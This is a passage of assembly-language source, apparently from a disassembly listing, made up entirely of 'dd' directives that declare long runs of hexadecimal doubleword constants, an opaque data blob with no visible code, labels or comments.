		dd 0FCDD6E2Eh, 8B51AA03h, 482CD834h, 1C87E4F2h,	81F3A59Dh
		dd 4C736EA4h, 8F08809Fh, 6D2BBE4h, 8D560081h, 77546B07h
		dd 21C0B04Ch, 9FF61417h, 697494h, 0C5E31C74h, 0B42FD1E8h
		dd 28B58D0Ch, 166E886Dh, 14970F13h, 0EF010CCCh,	0F0178E15h
		dd 0F481884Eh, 1A3C8393h, 3D804514h, 0AA1874ACh, 87D12018h
		dd 0E551C769h, 1197D1DCh, 4CAFC36h, 64955Ch, 475288C9h
		dd 613D1867h, 0F0B5386Dh, 46811568h, 51806F1Ch,	9401B80Ch
		dd 4A01F2CEh, 0F3682799h, 2180A94Bh, 0B55CA56Fh, 41C36226h
		dd 0A4B12A66h, 29AC7B06h, 4412550Eh, 64AB2068h,	18AA06E9h
		dd 0CCADA0FBh, 0B2009C5Ah, 16264C8Dh, 7C71323Bh, 0A9592B4Fh
		dd 96AA006Ch, 15C94CBFh, 0CD3D8000h, 4556D3B5h,	6708C3D2h
		dd 815F9D2Bh, 6C406CE8h, 832318B4h, 2EC116Fh, 3D1CB93Eh
		dd 0A6ED0025h, 686D245Ch, 0B7951D27h, 3A642866h, 70D0EFB5h
		dd 22A54226h, 1910A2C3h, 4850D4D0h, 0CFF8C77Ch,	4FE71BC9h
		dd 9C25A35Eh, 41EEB5F1h, 80A78C6Ch, 0D1DBAA41h,	400EA38Eh
		dd 724457B0h, 4C4F18ABh, 0B60181AAh, 0F6AD4200h, 58527838h
		dd 3A020028h, 45A5AC1Bh, 0C7048E77h, 66C2600Dh,	0A16F2483h
		dd 0F050EA13h, 0A459EDB5h, 623EE90h, 7B66BC2Eh,	3100D97Eh
		dd 349CE429h, 1CDBE510h, 0C08DEC9Ah, 58499E81h,	0C80C155Dh
		dd 30746EFCh, 46EC38B3h, 28988829h, 0D3C20032h,	0F22122FFh
		dd 80287BB9h, 0B53AC444h, 0C440D02Ah, 79A17C33h, 0BE8D880Ah
		dd 98A800E8h, 267034BCh, 1C00B8AAh, 6DF22FB4h, 90AC56D7h
		dd 0EF8B0A9Ch, 80A0958Dh, 51AD4AFh, 0CF0097DCh,	516A3A80h
		dd 9834F9F4h, 29E4600Dh, 7113E837h, 4A7481C0h, 484FC132h
		dd 660A3C0Eh, 83B4980Fh, 3714CF04h, 947788A0h, 0A501D8A8h
		dd 615280h, 921070B8h, 78722231h, 0F0D061F1h, 7504150Eh
		dd 0BF7CF20Bh, 8EE1B481h, 8FAB4711h, 0C0EED061h, 2FFD50CAh
		dd 0AFD33D1Ch, 0F884017Fh, 0CE2B146Eh, 0B65AECF3h, 0C1A98C30h
		dd 0E66AA7h, 9935B42Ch,	0D003F4CEh, 0A671C300h,	0C912502Eh
		dd 12F3E831h, 0EBC1FEh,	36EC342Ah, 3F05B9FFh, 75F1B57Fh
		dd 89778040h, 0F571504h, 0BD98704Fh, 602A0347h,	8E27EEF3h
		dd 0C8A401B8h, 93AEF102h, 614F9B1Dh, 9210A7A8h,	900ED55Dh
		dd 0A2C8405Ah, 6688F515h, 877C1704h, 3ECFBCB8h,	1C5D24EDh
		dd 0A6ECA586h, 32AA26D9h, 14CE4040h, 0CA019926h, 0EE7B2C21h
		dd 298792B2h, 99A95B0Eh, 6666E40Fh, 8F01192Dh, 0AA1448A0h
		dd 49A4AD24h, 8E11A0h, 2FEE7D79h, 1FEF03AEh, 4C7C39F7h
		dd 4C2188F0h, 7949B460h, 2A82AD3h, 0B750757Ch, 0A14074C5h
		dd 0CF909DD1h, 68F1FD24h, 66110B51h, 1804622Ch,	0FC89A57Bh
		dd 35A20025h, 21F84887h, 31C06188h, 0E41F6049h,	0A696003Bh
		dd 517ABECEh, 0C6042B69h, 77E13F80h, 44BB7C80h,	34668257h
		dd 0CE006BEEh, 218338D7h, 1EC2BDE4h, 0D4EC23C1h, 0F183988Ch
		dd 7180CC25h, 2491E65Dh, 55FBB280h, 1C8D43h, 45381E6Bh
		dd 0A5B414B3h, 65164174h, 5B000CDAh, 0D7EBC003h, 7106011Ch
		dd 0F4CAB126h, 139422D2h, 0B02127B5h, 0C84C1566h, 63F10029h
		dd 0AF6F46D5h, 8D223332h, 0AB5009AAh, 0F28FDC2Ch, 3E89980h
		dd 7000E9E1h, 0C1147A15h, 19462h, 0A36FF263h, 4956BB59h
		dd 1B0AFA02h, 0C419AA2Ah, 0E7A51BE8h, 0F4E75994h, 6D0CB6Fh
		dd 7015EE37h, 2C4C78A9h, 51389132h, 40C106Dh, 380E9006h
		dd 0C9805181h, 9F1DB5AEh, 0C00087B4h, 0BEDA4EBAh, 3B8A1453h
		dd 0C43E32ADh, 1BD8EC00h, 15977BDh, 178D583Dh, 100855A1h
		dd 7622809Ch, 61D23253h
		dd 0F2EA3500h, 43B80CEh, 7FC11428h, 0C84C98D0h,	6A878876h
		dd 600D99CFh, 0D2C15AE2h, 598F04Fh, 0ECBCD56Dh,	3648434h
		dd 994CF470h, 1DD87152h, 313E7B1Bh, 9E3F19B3h, 8909627Ch
		dd 0D00B45C6h, 1624A405h, 813008A0h, 0B4406844h, 5416F652h
		dd 80E7153Ah, 0CFD75A99h, 58B5AF11h, 0C48FBC24h, 3819FE60h
		dd 90303C6h, 1BA63775h,	60C4B5FDh, 10AEB4C2h, 8C886528h
		dd 0B8D8A8ABh, 421D07BEh, 0C08D644Bh, 294D722Bh, 4E283A0Bh
		dd 0F0D08840h, 0ACD8B6E5h, 886600B5h, 68930E3Bh, 0C9153A15h
		dd 96F819CAh, 41ACE00Ch, 0B20C0329h, 4B6FE6Ah, 0EB60D2FAh
		dd 3C72ACC5h, 0A3008078h, 0DB976FEBh, 3A9B4DEFh, 140087C9h
		dd 444B3DA4h, 66608680h, 227BEA81h, 0DA3503D1h,	8979754Dh
		dd 2912A08Fh, 1D24BBC7h, 1B40A07Dh, 0FF94165Ch,	3D216831h
		dd 7D3019BCh, 43DA40A9h, 0C83F6000h, 0A147513Ch, 1107305h
		dd 268412B9h, 24B663E9h, 0EF1FFEB4h, 0E0A4E3B3h, 8803D300h
		dd 6A5D7F3h, 644C8155h,	8B0558C7h, 9E1466CDh, 7526C421h
		dd 30B17B13h, 0A520741Eh, 0B4E853h, 0AF49FA6h, 14C36B9h
		dd 6829E270h, 0DC6B19F3h, 356A6414h, 9860A819h,	16087Dh
		dd 241BA5F8h, 0AC55DAC1h, 0C07880D1h, 6C7F5F65h, 0FF7E002Ch
		dd 0CA58B926h, 73032DB0h, 0ECA4682Fh, 4C9118FEh, 0BD3E41B2h
		dd 4B35CC03h, 0F09B02FBh, 7413E7E4h, 532002CDh,	1BF0A5F1h
		dd 1DAAE0C8h, 0CC60B091h, 5A2393h, 4D21564Ah, 0D0ADDD3h
		dd 98B6F200h, 17AA46E2h, 5860B2DEh, 0EE00F057h,	0A5E47714h
		dd 0A30345EBh, 5D15AAB8h, 0C019523h, 19E9BF78h,	0EC019072h
		dd 0AD7001D6h, 5F307057h, 65F719C0h, 9CAB39h, 0F63FBFBBh
		dd 7842AD0Bh, 0D9D64403h, 0C1207299h, 0D460CDEBh, 0B4D328F1h
		dd 800C99FCh, 7CCC01ADh, 0F000DFABh, 0F233084h,	0A08638A7h
		dd 0DE2C34h, 3EEB4054h,	0FA91C14Eh, 3F057000h, 93DC30E3h
		dd 88AB09BCh, 24A04B8Ch, 4029F537h, 6B23F313h, 0AF133421h
		dd 5E3041E1h, 0BB7A05FEh, 8032A042h, 88F20324h,	6001934Ah
		dd 0E6A60459h, 0D0504C62h, 0A9F21C91h, 0E4154165h, 600DCD5Bh
		dd 27136A3Dh, 0E42023AAh, 583AC7CFh, 130B30E1h,	3C117018h
		dd 0B1B9176Ah, 808CCEFCh, 8730C3E0h, 3A775406h,	321A87Ch
		dd 12D5D8F9h, 0ED804881h, 0C0194E39h, 2C30C4E0h, 8B01902Ch
		dd 1AAA4391h, 34F1A66Eh, 19827338h, 0D6E007B8h,	21B00F2h
		dd 0F8D0EA9Ah, 2C03534Bh, 1EAD3C91h, 0A68009F4h, 28C5EEA5h
		dd 0E54A6B00h, 4EFE60Fh, 0F0B64F38h, 66B891A6h,	88482C11h
		dd 0B8E07023h, 1332BCB0h, 2179E956h, 0F421093Ch, 2A003B40h
		dd 994F5460h, 0E0ED9177h, 19660214h, 1692B406h,	89E8F861h
		dd 823852A9h, 0AFEAF0E8h, 22FB87D8h, 63E1EDD2h,	7C3CC024h
		dd 3FCB2D8h, 421E9CEh, 0B904B5BDh, 0B38A9473h, 887C2CE0h
		dd 0C1C06387h, 28106B20h, 36A75ABh, 72D11118h, 9B9257F3h
		dd 31B52A40h, 0B4175600h, 136760CBh, 14AA4DD9h,	4A05A7C0h
		dd 0E9007459h, 0FC64B560h, 79D08ABCh, 40AC4CEDh, 9B5B40C0h
		dd 1E71D5E6h, 0C1275900h, 0AF16B8EDh, 0F2A525EAh, 88D2142Fh
		dd 0E019F5Ch, 0CFFC6768h, 0E08A037Dh, 0D80A639h, 0D4E0940Ch
		dd 0F0071C6h, 0A5EFFF01h, 96CFB004h, 0A83801ACh, 10A27D36h
		dd 675378h, 0F8D655C6h,	54B78AD2h, 0F3AA3100h, 14B6A232h
		dd 551F2A4Ch, 0C5AB44E4h, 0C2AF0A02h, 0C44C5CE6h, 0B7771F1Ch
		dd 2A95C541h, 22E009ADh, 3F006894h, 542375EBh, 1E447A7Bh
		dd 49B8AC3h, 0C4AFABC1h, 99A08C1Ch, 7EB3FF01h, 0DE70D808h
		dd 248611C8h, 2E023C1h,	1363094Eh, 23430051h, 70BE0588h
		dd 40AD8CD0h, 24412AA4h, 0AF48D33Dh, 0B8292EB7h, 0EE782700h
		dd 92F4C0h, 0BC500EB8h,	7921B5DDh, 31D04418h, 74619Eh
		dd 4CB8E252h, 0F4CF0342h, 3A584904h, 2CCCE59Eh,	644F00A3h
		dd 6341EAAh, 662CB65Dh,	0EF64682Ch, 78D8020h, 26675409h
		dd 4FF066B4h, 0DA1C404Ch, 106C5668h, 0ECD0DB00h, 7D1E5803h
		dd 290013Ah, 6B8B63FCh,	0E3EC3055h, 43C7F00h, 0C807244Ah
		dd 7CB07Ch, 0C12937FFh,	8E260DCEh, 440B7EE8h, 98753024h
		dd 262F314Ch, 40002D67h, 0A07A3D23h, 14D7FC00h,	0ACF004AFh
		dd 0C2681238h, 15C40F39h, 2E23B400h, 1F00C72Ah,	0DCD1F481h
		dd 6C1FC07h, 49F565BBh,	231811DDh, 7C292986h, 5DD40D28h
		dd 2C083D45h, 27B28098h, 9352B75h, 4BD0619Ch, 953E30E8h
		dd 1F74E65Ch, 400033D7h, 0B7911E06h, 0D28100B8h, 0D5A156ABh
		dd 0E21E55DDh, 0F3C049BDh, 93EEE11Dh, 52253E41h, 0ED723D80h
		dd 0B59D0283h, 24567601h, 7C3977DEh, 9300B022h,	0BB528D32h
		dd 2F0BF7C2h, 82906DFAh, 607913B8h, 0B2F88ECCh,	0BD932074h
		dd 5422AF4Fh, 8D64409Ah, 0F4E100A9h, 853B60BEh,	0D003655Fh
		dd 1527194Dh, 0F0A4B918h, 1C8EB43Ch, 3F89C52h, 4E7D5500h
		dd 2A5ECF36h, 8895645Dh, 39BCF22Eh, 0AE5A00EDh,	69FACF4Bh
		dd 0B1E8009Bh, 7589ADFEh, 450055C4h, 4C6AC77Ah,	48B642DAh
		dd 3AC14022h, 71684E48h, 7852CAA8h, 9321200h, 4C3735DDh
		dd 51200045h, 696C43E8h, 5A3C2A2Fh, 0AA88D0B7h,	0C5C3550h
		dd 8E9F203h, 0F651ED0h,	753A146Ah, 48102DBFh, 2E60F1FDh
		dd 0F3602730h, 262A4EB5h, 0CD0430FCh, 86596266h, 16DC18C9h
		dd 0FEC903B2h, 112F767Bh, 8CCE4CD0h, 0A31D1C91h, 29BC8B80h
		dd 17B42C21h, 403917A9h, 33F4CE88h, 0F00BA722h,	902AB607h
		dd 1760D14h, 2614B1E7h,	405C1C18h, 9CB9CE84h, 1D27D805h
		dd 280C0437h, 1C52A907h, 45AC18AEh, 82F091CBh, 0F459FEC0h
		dd 8728A911h, 81EF0034h, 0C793B6E0h, 993A717Bh,	9C8858DCh
		dd 68ED833Dh, 0A85F9F46h, 240A2021h, 2A043D9h, 65DA6194h
		dd 33C1A4C0h, 1438B148h, 0C1C43037h, 0A324AA77h, 38E8A511h
		dd 471A883Ch, 0E400E955h, 7C140E58h, 882E972Eh,	56B2070Fh
		dd 608744C8h, 0FCB5B967h, 0BE009224h, 0E49CC12Bh, 26171A76h
		dd 45D01067h, 7F08887Bh, 24480E00h, 7539C3AEh, 0CEF1095Ah
		dd 2CE82BB5h, 0F0485F13h, 0AF340114h, 394C153Bh, 2224FC6Dh
		dd 254E6004h, 0B80064CDh, 0E5B4F29Ah, 734101A1h, 75C78E4h
		dd 69C803ABh, 495A01D4h, 0B6208072h, 0ED0CC5ECh, 7F871D4Dh
		dd 6939707Bh, 0E8E8FC7Eh, 24077AF0h, 0C78EE4Dh,	0F27943h
		dd 2E725919h, 3D63AB9Dh, 36874707h, 4412CA5h, 488099EEh
		dd 7D5AD7E8h, 0F10EEA80h, 0E01CA496h, 0F93E7BCBh, 745300E1h
		dd 0A2867275h, 0D40748B0h, 4CBAF161h, 88408Ch, 8B657703h
		dd 0EDDF041Eh, 8C59C569h, 0FE958941h, 75450044h, 5740BCAEh
		dd 0EB3D909Eh, 687B03E6h, 0B84E1134h, 689251Dh,	0BD82B31Eh
		dd 8670101Ah, 0D6B7F318h, 0CF9CF1F9h, 25606F61h, 5B8E73BFh
		dd 962CFD00h, 0BD7F2044h, 3BB90CE0h, 18037D8h, 0D63AE600h
		dd 0C5094C25h, 0FC803EF2h, 0D7E16086h, 0A1005118h, 5551B505h
		dd 5D090E4h, 49D25888h,	0D8C421A2h, 9E518031h, 684156D9h
		dd 40AF007Bh, 1D43E442h, 19071BC2h, 0D565EBB7h,	892A0481h
		dd 39E9D8h, 84463CCFh, 0D45661EEh, 0B2C0D1DCh, 0BAB3E232h
		dd 0D707034Bh, 88DDD82Ch, 0F163CAE0h, 0A8A1B160h, 774BE9Dh
		dd 0DE053BFAh, 9E3350BBh, 8C29C979h, 0EE80FC23h, 5ED6440Dh
		dd 0A27A0161h, 75FECA91h, 0C07FF1FAh, 7038EA2Fh, 604D00FCh
		dd 4F7980ECh, 411500D7h
		dd 7A0D212Dh, 890EC23Dh, 0EECF3B5h, 66A6617Ch, 0B981D156h
		dd 0D5BFF7EFh, 4EFC8114h, 407851E8h, 86308080h,	0A9EF9EDh
		dd 1DDE2E00h, 80E7813Dh, 0E50CA07Eh, 55AD0F18h,	49203A30h
		dd 10634817h, 3700C6FAh, 0BF67DFF7h, 95D7D15Eh,	45060C78h
		dd 71E626B0h, 2710F788h, 0BE0453A3h, 0CE3FA9B7h, 806548C3h
		dd 0F8BD4E98h, 90EA6645h, 690F31D5h, 0AEED6478h, 667E02DAh
		dd 76088360h, 0F378C92Dh, 9511A450h, 54791Dh, 0B3517244h
		dd 97BAD7BDh, 9859B503h, 0FBD09919h, 2E3100F7h,	0C4A7D7E3h
		dd 0CE002151h, 0C63D4056h, 55ACBE69h, 3010E4A5h, 12615CCBh
		dd 0A0999325h, 0E20EAEFCh, 0C240F2DBh, 40B41DC5h, 917C803Ch
		dd 788804FCh, 9B00562Ch, 0DF628D6Ch, 1A8C005Eh,	43E1DCE0h
		dd 53007E2Fh, 65A18B85h, 677BC2h, 15DE3088h, 0CAE4CC49h
		dd 4D80E600h, 0E95DC602h, 675900E5h, 58BC9116h,	0AE06A6C9h
		dd 0A74F3061h, 4248A0B9h, 0FF3230D8h, 23DF0981h, 19F92509h
		dd 0BF6C82B1h, 2088206Dh, 770C5CCFh, 28DE68B7h,	0BC1744D9h
		dd 28A21920h, 3C6820D3h, 41605961h, 283F7DB6h, 7C304700h
		dd 3A5B79C5h, 386B301Ah, 0F817D750h, 83EB1CA0h,	4AD32005h
		dd 0B3FC9A33h, 63810100h, 37D0DC49h, 0C9A4F130h, 31D1A1E6h
		dd 68E00CD4h, 4978089Dh, 6F7CF03Ah, 5F898955h, 3E0B487h
		dd 210033D9h, 15D56A3Bh, 97D6F6h, 67A535A9h, 124C3CB9h
		dd 44691000h, 801D248Bh, 71702462h, 0C50F0342h,	0E1C8A64Ch
		dd 0E004E8Ah, 5F5C53F1h, 1C62D78h, 5735BDFDh, 8E14BE1Bh
		dd 0C0468210h, 29EEF39h, 98CEEF3h, 0D11D2DA0h, 50FCA806h
		dd 1083DD00h, 0B5860CBCh, 0F91F1FD7h, 0C4FB401Ah, 5118E0F4h
		dd 14E18303h, 0E0D4989Ch, 1D5249h, 9AB0F335h, 8E064108h
		dd 0D0BEF118h, 0E123D3F9h, 50DEB048h, 1D6AA888h, 83F24FC7h
		dd 0CAAFF986h, 34782005h, 181C494Ch, 804F4E0Fh,	79254568h
		dd 77BD13F1h, 99E048A0h, 8F5F9480h, 12EFD4DDh, 207920E3h
		dd 40DC89A4h, 7D3D8178h, 2050766h, 0E075B2F1h, 254A9C90h
		dd 0BDF212B3h, 0E1244014h, 6C2FB4CDh, 0A507D49h, 0D83D80B2h
		dd 7F254986h, 0D3304488h, 0DE00FC9Bh, 2ED0208Ah, 0B8210038h
		dd 82CFDB5Fh, 940685DDh, 0AB4F2FBDh, 1831E631h,	119BEDE0h
		dd 6E03C916h, 432A9C59h, 9596980Ah, 0D3440202h,	816A70DDh
		dd 0FE188C60h, 81A11D37h, 0B6D1878Eh, 3109EAD0h, 19B4636Ch
		dd 9978F078h, 0EAA4800h, 30B3E90Ah, 19A90065h, 5A4507BFh
		dd 0EC072F75h, 0CFCD22BBh, 21656DF0h, 0A4E849F4h, 808AFDC0h
		dd 0C1008212h, 7DC47438h, 3CA57C6h, 7EA7DB68h, 8EB0DE1Bh
		dd 6D152F80h, 11A00326h, 944C3779h, 91E76207h, 0BE6C00B6h
		dd 451C63Ch, 7076F9CCh,	16DB2140h, 8CFBA831h, 29591244h
		dd 75F02079h, 0FD7F45CDh, 0C306F41Fh, 95DE6F80h, 3E47859Dh
		dd 287D276h, 0A0EE6D0Ch, 87D0125Eh, 0D95DBF00h,	79E49358h
		dd 0E2680E15h, 0CE002607h, 0D882DA17h, 9B21992Ch, 77B1FB00h
		dd 0E5590ECh, 4D10DC7Eh, 5414C903h, 58991002h, 201294A2h
		dd 0F4824411h, 903D681Bh, 16E0E730h, 772645Ch, 0B7A1BE5h
		dd 0C8A7E0EBh, 0BE7E9FD3h, 41B6C630h, 38E54C70h, 0F380F75Dh
		dd 7FCB0F3Dh, 78092C67h, 8114A101h, 640BD8B1h, 608FD2D1h
		dd 0D7E6D57Eh, 0DD3870F3h, 0B46B06B2h, 21E867h,	0C0E2D1EEh
		dd 0F6346533h, 25BDB004h, 9040F068h, 2847B817h,	9BDF4E00h
		dd 52B4F5F2h, 0D6C10071h, 25D4B35h, 0CA522EE0h,	70117484h
		dd 1060C82Dh, 0AC28E04Eh, 1EC5D818h, 39423319h,	0F9012DD6h
		dd 0D3E5C9C6h, 39B1ECBCh, 186B8E18h, 54D91F29h,	0CDE9880h
		dd 8413673Dh, 9F1EFF11h, 0CC78CBDh, 0C8044F11h,	87DB6F23h
		dd 96E82900h, 0D488C69Ch, 30C598BCh, 3D600E23h,	0A9C059F8h
		dd 1B557017h, 3AD1018Ah, 928DB56Ah, 5DDEE86Eh, 4906EE00h
		dd 0FF638627h, 0EB90A8E2h, 1874A399h, 11275E30h, 19C066F9h
		dd 39285116h, 9E00757h,	504FBCFDh, 7A0A129Ah, 77FF748h
		dd 8D82FB60h, 11520943h, 0C7FD6F9h, 591CC673h, 0FCD50008h
		dd 3640EDDh, 18C00DBFh,	7B35F9D2h, 890F64DCh, 0B2604712h
		dd 8006785h, 2FE0279Bh,	48377099h, 938158A0h, 2063833Fh
		dd 653ADA28h, 0F9F86044h, 3A9CA08Fh, 91E03D81h,	476BFED4h
		dd 2EE57000h, 8C34A693h, 1EEC00E6h, 2DDF6C07h, 9EE03599h
		dd 23D30A9h, 67082C1Ch,	4EA4F154h, 11303B00h, 0DDA25D6Bh
		dd 0FF710068h, 5462B3A9h, 96159822h, 0C82CC62Bh, 5993091h
		dd 0B01D34E9h, 0B40AF907h, 96033066h, 0A8CB6F0Fh, 447BFh
		dd 7A18EBE3h, 9A7681ECh, 598C7D00h, 22914296h, 68FE07h
		dd 3CCF70D5h, 783DF2C1h, 0A4D97324h, 1F06BA9Ch,	97987D8h
		dd 13713CDEh, 98C43900h, 0D01F0DDFh, 81710663h,	8E1BCD8h
		dd 913C4840h, 0F4C8033Bh, 0E3669F8Dh, 21771900h, 9105E84Dh
		dd 44DF3DAEh, 8328BCA6h, 0D564A260h, 83669B0h, 3B1BBD19h
		dd 0F8800738h, 0DBFD6F05h, 0E64467ADh, 5C2400E3h, 0CC1C2EA9h
		dd 9002B39Ah, 94EBEF4Fh, 4DA448D0h, 0D088F1BBh,	6713DD6Ah
		dd 80DE0020h, 24B10095h, 9FD6C94Bh, 0EF004499h,	13A4F2ABh
		dd 31F6EC38h, 6E40C5BAh, 197300E8h, 26339FBh, 889420A4h
		dd 5086559Fh, 0FE30BFBBh, 0F24084E0h, 0D421406Bh, 0A2909B14h
		dd 1415E2F8h, 5C687724h, 0F665D400h, 0C0E144D5h, 58D65FC1h
		dd 28C31105h, 18236B8Dh, 9162F949h, 0A7061EFEh,	4E1DCF04h
		dd 0B7CA3916h, 67F98709h, 65D35400h, 4355D5F5h,	906DE2Ch
		dd 16C63081h, 52DEE159h, 0A57F137Dh, 70A78DDh, 1465CBEh
		dd 8ADB2CD0h, 10282471h, 569084E4h, 9FDFB440h, 9D62DD1Fh
		dd 80C5DE39h, 74F05860h, 97EA0F2Ch, 4FA07220h, 0AB6317BDh
		dd 0FAA09A04h, 6881D948h, 71E45226h, 62460249h,	0E42E3195h
		dd 61F95883h, 78267100h, 0A10DB3D1h, 0D6FE00B0h, 3F285B5Ch
		dd 4B6AA8E7h, 3788DC30h, 103BADDh, 703597DFh, 0C0E1C822h
		dd 11BC2D78h, 3200A471h, 8438D0B4h, 53045Ch, 210EA97Dh
		dd 743CC8FFh, 14686116h, 0E0496423h, 106390D7h,	180ED603h
		dd 73B11BC6h, 0B7C000FEh, 3CA6EB10h, 810C9941h,	2053C82Ch
		dd 4456060Fh, 0D968F935h, 0DD08D900h, 9B7918BCh, 334F008Bh
		dd 0DADF7F2Fh, 400FC61Ch, 62E484h, 0FC3C3603h, 93EB1885h
		dd 893D4163h, 95DBC0A8h, 0E09E2400h, 0FAE4A0Ah,	0D57000B1h
		dd 0BBFF3671h, 0CB0042BCh, 9B3E7849h, 2B7E9h, 2DDE5BB8h
		dd 7942F91h, 0DD111575h, 6B0023C4h, 0EF354F63h,	0D3B9238h
		dd 145E0026h, 0BB75E764h, 0CEFE0069h, 0DFAC6F2Dh, 70069B32h
		dd 58D45DA2h, 0D5B40CA1h, 415120C4h, 4207D207h,	0EA509848h
		dd 91F479h, 67D11129h, 8DAD6AE4h, 18A86452h, 56495AF9h
		dd 5B6839E7h, 783E1A82h, 1CE68C51h, 5514CE50h, 1F3B7105h
		dd 8C458DDEh, 0FC40E767h, 96BFF7BCh, 5C8C012Ah,	0D59ECA21h
		dd 30C226Ah, 38782465h,	0DD1100DFh, 36985802h, 61C060F9h
		dd 4A680B79h, 0C47B00E9h, 0A428A0Eh, 560A8FDFh,	7C8292ECh
		dd 49EB670Ch, 770400CEh, 741F207Fh, 91000BB5h, 5350A06Dh
		dd 1AE09BAh, 0EC588F71h, 207C2396h, 0C336414h, 0E4EB41E5h
		dd 3F32BC98h, 6480DBCEh, 0CAFF9A46h, 0DD0087A6h, 394A91EDh
		dd 0F8669C41h, 5E3C0FAAh, 1A800847h, 59CAD64Dh,	6ECFA707h
		dd 0D3E0797Dh, 3D84D78Eh
		dd 0E0C8B455h, 3BF366C0h, 272629DDh, 0C2005A41h, 82A9EFEAh
		dd 124AB065h, 734F840h,	6FCE35ACh, 0FC27A179h, 0ADE6B27Bh
		dd 0C1005E7Bh, 3817112Dh, 0A0FA33Ah, 713DD90Bh,	39E91190h
		dd 50C6818Ah, 0D5015338h, 0EA63CDD0h, 83DD0F5Dh, 0F01431DFh
		dd 68697D81h, 15C8223Ch, 4CF4863Dh, 0EC0F75C2h,	8CA21EA9h
		dd 7A198Eh, 0F3F517C4h,	0CDB15BE2h, 0A1539700h,	0BAA8562Fh
		dd 9BEC2C2Bh, 0C3E56400h, 11005FAEh, 86910E35h,	1CFE0D5h
		dd 0BF26BBFEh, 28D6A760h, 9472D270h, 0A8603292h, 0BF0B381Bh
		dd 4DE5EC5h, 0B5405438h, 67087DFh, 40207F4Ah, 0D8258Eh
		dd 6D9AB8C7h, 94ACB249h, 0C8780602h, 44CF33DFh,	6CD502B0h
		dd 0C31477AEh, 44D6BCE0h, 703B08A0h, 5D8E490Ch,	0B905913h
		dd 993E1731h, 95EB6001h, 3D499267h, 7C719820h, 65D80080h
		dd 301F07FCh, 8700CDD5h, 0C899C462h, 99F9E8A2h,	0FBAB0040h
		dd 9B30EDCBh, 46CF700h,	647C81A1h, 5E10252h, 42A633DEh
		dd 21C55C60h, 0F9DD89C0h, 0DA368Bh, 6064505Ah, 532083D4h
		dd 4C26B874h, 802BB01Ah, 784C6740h, 0F16509CFh,	0E0103FD5h
		dd 8CA4D15Dh, 3D0C6099h, 0FBD98Ch, 0C134EA36h, 2A50AEC5h
		dd 3C40610Ah, 2821E48Ch, 21135F44h, 616876E4h, 0F365E830h
		dd 1441D52Ah, 80F9D340h, 60996A8Dh, 9D249A60h, 1FA3EA72h
		dd 0D37844DBh, 7394045Fh, 8878A230h, 1094017h, 8B603D34h
		dd 9E02E8C9h, 871100EDh, 0BE17B0A2h, 681646C8h,	3406EE12h
		dd 3D4922C6h, 51003066h, 42BB9B74h, 0C7006D76h,	0D68B53E1h
		dd 1A642371h, 3117698Dh, 107F9C41h, 0A95A477h, 178C5BD9h
		dd 0C6342C0h, 85801C52h, 660E73DDh, 2AADFFBh, 66831893h
		dd 0DB570024h, 2DD5298Dh, 450058B0h, 89787F5Eh,	2761BF1h
		dd 0EB9473D0h, 0ECE662C6h, 0C49CFC02h, 0C1029FE9h, 86C4A7EDh
		dd 0ED47020Ah, 5262263Dh, 60D502E1h, 196F01C4h,	13670339h
		dd 889EFB43h, 266FD7A7h, 744955h, 5A6AF418h, 0CC990B63h
		dd 0A919C50Ch, 2DA901C4h, 7047249h, 9E63D283h, 0AB3F88C8h
		dd 5D65D02h, 0CBE3F106h, 163EB830h, 2F7A80DDh, 4E93C600h
		dd 1E0460C3h, 80B81D11h, 5C2A0B0Ch, 4290F801h, 0AF01F87Fh
		dd 0D040674Bh, 0A4F263F0h, 0C96151D6h, 2E6907C0h, 617C35A2h
		dd 0DC173E16h, 5201A0E7h, 8F46C007h, 1C20B445h,	490C2860h
		dd 0BEC503ACh, 835CF89Dh, 7DE2DBD8h, 0ACD36605h, 0E482B59Fh
		dd 0A84405h, 7F48903Ch,	0DFA9F55Ch, 0DB87CC91h,	42A09174h
		dd 34C72Eh, 0A1570B2Ch,	328B0436h, 69D54D00h, 0CEA33344h
		dd 0A4DB3F05h, 0C5DD0850h, 205E8D70h, 0FFBA70ACh, 8626C776h
		dd 642CFCDEh, 24C5C3h, 0C699E429h, 0F5B3CFE9h, 0A1F2F8ECh
		dd 5330A300h, 258F8ADFh, 5C76F3E7h, 1D628D0Ah, 0D630534h
		dd 14F0CCDDh, 71B14007h, 28963BD7h, 1FDD0970h, 0EC40C0D8h
		dd 0FB0093DEh, 693ACEA6h, 189FB7B5h, 21B0D61Fh,	6C9C5C8Dh
		dd 2BD427BEh, 91500EECh, 8E274901h, 934E045Eh, 8C98E329h
		dd 0D519C458h, 0C305691h, 157D1Bh, 57D326D6h, 1D0360BAh
		dd 2152091Fh, 0ED620487h, 0B8888694h, 649826EBh, 0D8094084h
		dd 11DD5BF9h, 5EBA91C0h, 0D66195BEh, 996C00F8h,	265A268h
		dd 3751DE00h, 0EB346409h, 75DF0B70h, 441895ECh,	69C0EA67h
		dd 1DB85DD8h, 0A6030098h, 0D9D12848h, 9003557Ah, 93EBFF4Dh
		dd 4C3926B1h, 54D1005Ch, 1791F3D9h, 3D01CB03h, 0C2A77F65h
		dd 4088A3Fh, 0A8811420h, 46DE129Ch, 2DF80040h, 4CFBE5BDh
		dd 1290C726h, 8900B9E8h, 0C907A3B1h, 39857D5h, 3DB36F4Ah
		dd 38020D61h, 0A7A8540Fh, 0BC8C8469h, 208364C2h, 1AD05DE4h
		dd 0F93DCC08h, 0E54984B5h, 0A107C02Eh, 7C713192h, 457C3871h
		dd 0BD0C3604h, 60E22D03h, 19B4B1Ch, 97D25069h, 3118740Fh
		dd 0FC0A2D26h, 0E142D706h, 3C8E4578h, 97328764h, 83E8006Bh
		dd 1718F07h, 96D0F9ABh,	0C45298B2h, 0D9482739h,	12C4CA8h
		dd 0F428547Fh, 8C501AC5h, 0EE4642h, 2D3CB07h, 98E3171h
		dd 80696201h, 3C70E426h, 0E93A3C40h, 244A0012h,	8647E1D5h
		dd 213AB619h, 0BA608926h, 0E0E0009h, 58E78EABh,	0A500A899h
		dd 1784A48Dh, 49C08A3Dh, 7389DAC1h, 44D98A7h, 0FF5927Bh
		dd 25A88AD8h, 20980A18h, 5D2B3360h, 0F7F74CCh, 0A0D0B6C9h
		dd 4B26AB41h, 3D98202Ch, 10F9D9C9h, 637868h, 3E01D223h
		dd 1ABAD31Ch, 69914Ch, 8E0DB534h, 2D96EC51h, 24007693h
		dd 49CF42DEh, 370EECE9h, 711CD103h, 0A1B63563h,	83EF4485h
		dd 0A625A186h, 0D6F809F0h, 697C08A1h, 0E2408F44h, 385AF239h
